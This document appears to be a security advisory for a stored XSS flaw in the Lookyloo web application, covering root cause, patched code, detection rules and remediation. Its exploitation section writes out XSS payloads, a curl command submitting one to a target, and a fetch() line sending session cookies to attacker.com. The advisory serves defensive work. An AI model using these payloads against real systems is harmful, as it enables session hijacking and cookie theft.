CVE-2025-66459

Executive Summary

CVE-2025-66459 is a stored Cross-Site Scripting (XSS) vulnerability in Lookyloo, a web interface for capturing and visualizing website call trees. The flaw exists in versions prior to 1.35.3. An attacker can submit a list of URLs to capture, one of which contains a malicious HTML element. When the capture fails, the error message is populated with the unsanitized URL, causing the XSS payload to execute in the context of the Lookyloo application. This can lead to session hijacking, data theft, or further compromise of the Lookyloo instance. The vulnerability is fixed in version 1.35.3.

Supply Chain & Package Security

Lookyloo is a Python-based application distributed via PyPI. The vulnerability is in the core application logic, not in a third-party dependency. However, users should ensure they are using the latest version from PyPI (pip install --upgrade lookyloo) to receive the fix.

CVSS Breakdown & Threat Level

• CVSS Score: 6.1 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must view the error page)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. The vulnerability requires user interaction but can be exploited remotely without authentication. The impact is limited to low confidentiality and integrity loss.

Deep Dive & Mechanics

The vulnerability resides in the error handling mechanism of Lookyloo. When a user submits a list of URLs for capture, the application processes each URL. If a capture fails (e.g., due to a timeout or invalid URL), the error message is generated by embedding the original URL directly into the HTML response without proper sanitization.

Attack Flow:

1. An attacker crafts a URL containing a malicious HTML/JavaScript payload, e.g., <img src=x onerror=alert(1)>.
2. The attacker submits this URL as part of a list to the Lookyloo capture endpoint.
3. The capture fails (e.g., because the URL is invalid or the target is unreachable).
4. Lookyloo generates an error page that includes the unsanitized URL in the error message.
5. When a victim (e.g., an administrator) views the error page, the XSS payload executes.

Root Cause: The application uses user-supplied input directly in error messages without HTML encoding or sanitization.

Vulnerable vs. Patched Code

Vulnerable Code (pre-1.35.3):

# In error handling logic
error_message = f"Failed to capture URL: {user_url}"
# user_url is directly inserted into HTML
return render_template("error.html", error=error_message)

Patched Code (1.35.3):

# In error handling logic
from markupsafe import escape
error_message = f"Failed to capture URL: {escape(user_url)}"
# user_url is HTML-escaped before insertion
return render_template("error.html", error=error_message)

The fix uses markupsafe.escape() to HTML-encode the URL, preventing script execution.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A Lookyloo instance running version < 1.35.3
• Access to the capture submission endpoint (typically /capture)

Exploit Steps:

1. Craft a malicious URL with an XSS payload:

   http://example.com/<img src=x onerror=alert(document.cookie)>
   

2. Submit the URL to the Lookyloo capture endpoint (e.g., via POST request):

   curl -X POST http://target.lookyloo:5000/capture -d "urls=http://example.com/<img src=x onerror=alert(document.cookie)>"
   

3. The capture will fail, and the error page will contain the XSS payload.
4. When an administrator views the error page, the JavaScript executes.

Advanced Payload:

http://evil.com/<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team (Detection & Defense)

Detection:

• Monitor Lookyloo logs for URLs containing HTML tags or JavaScript.
• Use WAF rules to block requests with suspicious patterns in URL parameters.

Defense:

• Immediately upgrade to Lookyloo 1.35.3 or later.
• Implement input validation and output encoding for all user-supplied data.
• Use Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

• Network IOCs:
  • URLs containing HTML tags (e.g., <script>, <img onerror=)
  • Outbound connections to attacker-controlled domains from Lookyloo server
• File IOCs:
  • Lookyloo error logs containing HTML-encoded or raw HTML payloads
• Behavioral IOCs:
  • Unexpected JavaScript execution in the Lookyloo web interface
  • Unusual error messages with embedded HTML

Detection Engineering

YARA Rule

rule CVE_2025_66459_Lookyloo_XSS {
    meta:
        description = "Detects Lookyloo error logs containing XSS payloads"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-66459"
    strings:
        $xss_payload = /<[^>]*script[^>]*>|<[^>]*onerror[^>]*>|<[^>]*onload[^>]*>/
    condition:
        $xss_payload
}

Sigma Rule

title: Lookyloo XSS Error Log Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects Lookyloo error messages containing HTML/JavaScript payloads
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: lookyloo
detection:
    selection:
        error_message|contains:
            - '<script'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate URLs containing similar patterns (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-66459 Lookyloo XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/capture"; http_uri; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Lookyloo to version 1.35.3 or later.
2. If upgrade is not possible, apply a virtual patch using a WAF to block URLs containing HTML tags.
3. Review Lookyloo logs for signs of exploitation.

Long-term Mitigations:

• Implement Content Security Policy (CSP) headers.
• Conduct regular security audits of the application.
• Use input validation and output encoding for all user-supplied data.

Patch Details:

• The fix is available in Lookyloo 1.35.3.
• Update via PyPI: pip install --upgrade lookyloo
• Alternatively, pull the latest Docker image: docker pull lookyloo/lookyloo:latest

Valters IT